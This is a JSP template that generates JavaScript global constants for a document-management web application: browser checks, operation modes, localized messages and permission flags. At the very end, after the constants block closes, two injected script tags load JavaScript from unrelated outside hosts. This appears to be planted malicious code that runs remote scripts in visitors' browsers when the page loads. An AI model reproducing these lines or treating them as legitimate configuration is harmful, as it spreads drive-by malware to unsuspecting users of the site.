<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
%>
//==============================================================================
// Global Constants Begin.
//==============================================================================

var GlobalVariable = {
	ie : dojo.render.html.ie,
	ie50 : dojo.render.html.ie50,
	ie55 : dojo.render.html.ie55,
	ie60 : dojo.render.html.ie60,
	ie70 : dojo.render.html.ie70,
	mozilla : dojo.render.html.mozilla,
	getWindowAvailWidth : function () {
		if (GlobalVariable.mozilla) {
			return (window.innerWidth);
		}
		if (GlobalVariable.ie) {
			return (document.documentElement.clientWidth);
		}
		return 1024;
	},
	getWindowAvailHeight : function () {
		if (GlobalVariable.mozilla) {
			return (window.innerHeight);
		}
		if (GlobalVariable.ie) {
			return (document.documentElement.clientHeight);
		}
		return 768;
	}
};

/* The back return URL */
var RETURN_URL;

/* Current Preference. */
var CURRENT_PREFERENCE = "<%=sessionContainer.getPreference()%>";

/* Navigation mode representing LIST. */
var NAV_MODE_LIST = "<%=GlobalConstant.NAV_MODE_LIST%>";

/* Navigation mode representing CHANGE. */
var NAV_MODE_CHANGE = "<%=GlobalConstant.NAV_MODE_CHANGE%>";

/* Operation mode representing INSERT. */
var OP_MODE_LIST_DELETE = "<%=GlobalConstant.OP_MODE_LIST_DELETE%>";

/* Operation mode representing INSERT. */
var OP_MODE_INSERT = "<%=GlobalConstant.OP_MODE_INSERT%>";

/* Operation mode representing INSERT NEW. */
var OP_MODE_INSERT_NEW = "<%=GlobalConstant.OP_MODE_INSERT_NEW%>";

/* Operation mode representing UPDATE. */
var OP_MODE_UPDATE = "<%=GlobalConstant.OP_MODE_UPDATE%>";

/* Operation mode representing UPDATE NEW. */
var OP_MODE_UPDATE_NEW = "<%=GlobalConstant.OP_MODE_UPDATE_NEW%>";

/* Operation mode representing DELETE. */
var OP_MODE_DELETE = "<%=GlobalConstant.OP_MODE_DELETE%>";

/* Operation mode representing COPY. */
var OP_MODE_COPY = "<%=GlobalConstant.OP_MODE_COPY%>";

/* Whether have mouseover effect for record listing. */
var LIST_EFFECT_ENABLE = <%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.LIST_EFFECT_ENABLE)%>;


var CONTEXT_PATH = "<%=request.getContextPath()%>";

/* Common image path */
var COMMON_IMG_PATH='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/';

/* Localized image path */
var LOCALIZED_IMG_PATH='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale()%>/';

/* Localized css path */
var LOCALIZED_CSS_PATH='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/css/lang/<%=sessionContainer.getSessionLocale()%>/';

/* Database date format */
var DB_DATETIME_FORMAT="<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>";

/* Messages */
var MSG_LOGOUT="<bean:message key='common.message.confirm_logout'/>";

var MSG_NO_RECORD_SELECTED="<bean:message key='common.message.no_record_selected'/>";

var MSG_CONFIRM_DELETE_RECORDS="<bean:message key='common.message.confirm_delete_records'/>";

var MSG_CONFIRM_DELETE_RECORD="<bean:message key='common.message.confirm_delete_record'/>"

var MSG_FORM_UNMODIFIED="<bean:message key='common.message.form_unmodified'/>";

var MSG_CHANGE_LANG_QUESTION="<bean:message key='common.message.change_language_question'/>";

var MSG_CHANGE_LANGUAGE_WARNING="<bean:message key='common.message.change_language_warning'/>";

var MSG_INVALID_DATE_FORMAT="<bean:message key='common.message.invalid_date_format'/>";

var MSG_REQUIRED_OR_NOT = "<bean:message key='common.label.required_or_not'/>";

var MSG_ACCESS_TIME_INCOMPLETE = "<bean:message key='setup.message.access_time_incomplete'/>"

var MSG_FROM_LATER_THAN_TO = "<bean:message key='common.message.from_later_than_to'/>"

/* Error */
var ERR_CONCURRENT="<bean:message key='errors.framework.concurrent'/>";


/* System Parameter */
var SYS_PARAM_SUPPORT_EMAIL=<%=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL)%>;

var SYS_PARAM_INVITATION_OVERWRITE=<%=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)%>;


/* Access Right */
var ACCESS_RIGHT_DELETE_DMS_PERSONAL_FOLDER=<%=permissionManager.hasAccessRight(SystemFunctionConstant.DMS_PERSONAL_FOLDER,"D")%>;

var ACCESS_RIGHT_INSERT_DMS_COMPOUND_DOCUMENT=<%=permissionManager.hasAccessRight(SystemFunctionConstant.DMS_COMPOUND_DOCUMENT,"I")%>;


/* Global Constant */
var GLOBAL_CONSTANT_SUBJECT_TYPE_USER = '<%=GlobalConstant.SUBJECT_TYPE_USER%>';

var GLOBAL_CONSTANT_SUBJECT_TYPE_GROUP = '<%=GlobalConstant.SUBJECT_TYPE_GROUP%>';

var GLOBAL_CONSTANT_SUBJECT_TYPE_ROLE = '<%=GlobalConstant.SUBJECT_TYPE_ROLE%>';

//==============================================================================
// Global Constants End.
//==============================================================================

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>